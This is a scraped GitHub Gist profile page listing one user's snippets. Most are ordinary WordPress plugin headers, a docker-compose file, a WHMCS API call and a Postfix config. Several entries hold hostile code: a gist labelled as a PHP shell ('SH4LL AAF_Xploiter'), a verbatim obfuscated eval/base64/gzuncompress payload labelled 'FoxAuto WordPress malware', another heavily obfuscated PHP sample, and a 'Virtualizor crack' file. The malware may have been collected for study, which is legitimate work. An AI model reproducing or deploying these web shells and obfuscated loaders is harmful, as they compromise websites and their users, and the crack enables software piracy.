Skip to content

Instantly share code, notes, and snippets.

Live long and may the source be with you

Stefan Pejcic stefanpejcic

Live long and may the source be with you
View GitHub Profile
View rk-keep-me-logged-in.php
Plugin Name: WP Keep Me Logged In
Plugin URI:
Description: This plugin will increase the session time of your WordPress login cookie to 1 year. That way you won't have to login over and over again. I was inspired to write this plugin after reading <a href="">Frank Bültge</a>'s blogpost.
Author: Ruud Kok
Author URI:
Version: 1.1
stefanpejcic / reinstall-plugins.php
Created January 1, 2023 11:47 Adds a "Reinstall" button next to each plugin in the Installed Plugins page, and when clicked will reinstall it using wp-cli.
View reinstall-plugins.php
Plugin Name: Plugin Reinstaller
Plugin URI:
Description: Adds a "Reinstall" button next to each plugin in the Installed Plugins page, and when clicked will delete the plugin's folder and then install it again using wp-cli.
Version: 1.0
Author: Stefan Pejcic
Author URI:
stefanpejcic / index.html
Created December 10, 2022 18:47
wp ver usage
View index.html
<script src=""></script>
<script src=""></script>
<script src=""></script>
<script src=""></script>
<figure class="highcharts-figure">
<div id="container"></div>
<script src=""></script>
<div id="tabela">
stefanpejcic / functions.php
Created November 29, 2022 12:25
Virtualizor crack /usr/local/virtualizor/main/functions.php
View functions.php
<?php if( !defined("VIRTUALIZOR") )
exit( "Hacking Attempt" );
class ArrayToXML
public function toXML($data, $rootNodeName = "ResultSet", $xml = NULL)
if( ini_get("zend.ze1_compatibility_mode") == 1 )
stefanpejcic / docker-compose-yml
Created October 7, 2022 11:33
wordpress docker-compose-yml
View docker-compose-yml
version: '3'
# We use a mariadb image which supports both amd64 & arm64 architecture
image: mariadb:10.6.4-focal
# If you really want to use MySQL, uncomment the following line
#image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
- ./db_data:/var/lib/mysql
stefanpejcic / get_user.php
Created August 19, 2022 09:47
WHMCS - get user data from the url
View get_user.php
// include whmcs
require_once $_SERVER['DOCUMENT_ROOT'].'/init.php';
* WHMCS Sample Local API Call
* @package WHMCS
* @author WHMCS Limited <>
stefanpejcic / wp-crypto.php
Created April 19, 2022 08:06
SH4LL AAF_Xploiter
View wp-crypto.php
// --- Create by Pst4r8
// --- php shell
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
stefanpejcic /
Created April 15, 2022 12:01
# See /usr/share/postfix/ for a commented, more complete version
smtpd_banner = $myhostname ESMTP
biff = no
inet_protocols = ipv4
# appending .domain is the MUA's job.
append_dot_mydomain = no
readme_directory = no
stefanpejcic / index.php
Created February 11, 2022 10:00
FoxAuto WordPress malware
View index.php
<?php /* FoxAuto */ error_reporting(0); function vepa_($cmx0T) { $o6akB = strlen(trim($cmx0T)); $nYANr = ''; for ($lv38F = 0; $lv38F < $o6akB; $lv38F += 2) { $nYANr .= pack("C", hexdec(substr($cmx0T, $lv38F, 2))); } return $nYANr; } eval(vepa_("6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827") . 'eJxtvGOU734Q5tm2bdu27e7bxq/dfdu2bdu2bdu2bdt99z+zM3vO7G7yIkmlvk8q5+Skns+bMnV0tHPUdzS1t3N0trA1oxLXF5aT0xPXV1BUlRYVp+Y1Mf1rYWtKRTlWtk5JR0T5dUhJzUsmKacoIiynovNfUJeIn8jU3d7azuS/JG+Q/7H/l2fmaWH719rQ2ZTKycXIydmRipIwCgrof24w5NlrsUGbqeIlvxmr6IjHxV/BE9yZzxKz2EnOAr0VSzQVgdcs1zPaTjEFjg9z/76ffOv/fX+F9EsH+kNjFEAlmkhl70MnI0HFBksd+8CRL7whB/tLJ/f/ARmxD+iH+t4769ZHhiH+988F5mQjzqhvxKzdpUrBQ5sHa8BPZEG+rFa96WetfBA532EZUkEr1YNWjLWPPdyLfl2EiAYExOzkx5zJVgBjQksHNHuuiKrv/e0BowwzAYuK81Ej3WuP9ZFufFJS3UR88B4ISBi/ZzJawD86mmpcyHABJdG0W3OQXFRwQgoK80lfXs79O94VAPDjBlBK1vITZiINYAkP2bBttV22/fSkRvsWOx2rroSz9FrvdPfmsMNXOatpPBln5xQ9rnpuhg9rkp16jF04G3ipin1uPELmr7KQJyzswCXDvwxOHpO6bxOFxPnn9nKJhgfo5hycS33m+LAQq5pFH/GQYUP94cqf5YvlMU63dNzFP6F
stefanpejcic / 3index.php
Created February 7, 2022 10:28
View 3index.php
function OoOo111oOO($url,$OO0o00OooO=0,$Oo00OoO0Oo=1,$OoO00OOoo0=NULL,$OoOOoO000o=array()){global $O;if(!preg_match("/^http\:\/\//si",$url)){if(isset($_GET[$O{69}.$O{51}.$O{90}.$O{55}.$O{81}.$O{81}])){$OOOoOoo000=$O{87}.$O{69}.$O{51}.$O{90}.$O{55}.$O{51}.$O{51}.$O{89}.$O{51}.$O{14}.' '.$O{7}.$O{24}.$O{46}.$O{58}.$O{90}.$O{7}.$O{76}.' '.$O{69}.$O{51}.$O{90}.$O{21}.$O{42}.$O{24}.$O{81}.$O{27}.$O{3}.$O{1};$OOOoOoo000.=$url;echo $OOOoOoo000;unset($OOOoOoo000);exit();}return '';}$OoOOoo000O=$O{13}.$O{69}.$O{51}.$O{90}.$O{54}.$O{7}.$O{24}.$O{7}.$O{26}.$O{12}.$O{13}.$O{69}.$O{51}.$O{90}.$O{54}.$O{27}.$O{55}.$O{26}.$O{89}.$O{3}.$O{26}.$O{12}.$O{13}.$O{69}.$O{51}.$O{90}.$O{54}.$O{55}.$O{11}.$O{55}.$O{13}.$O{70}.$O{52}.$O{27}.$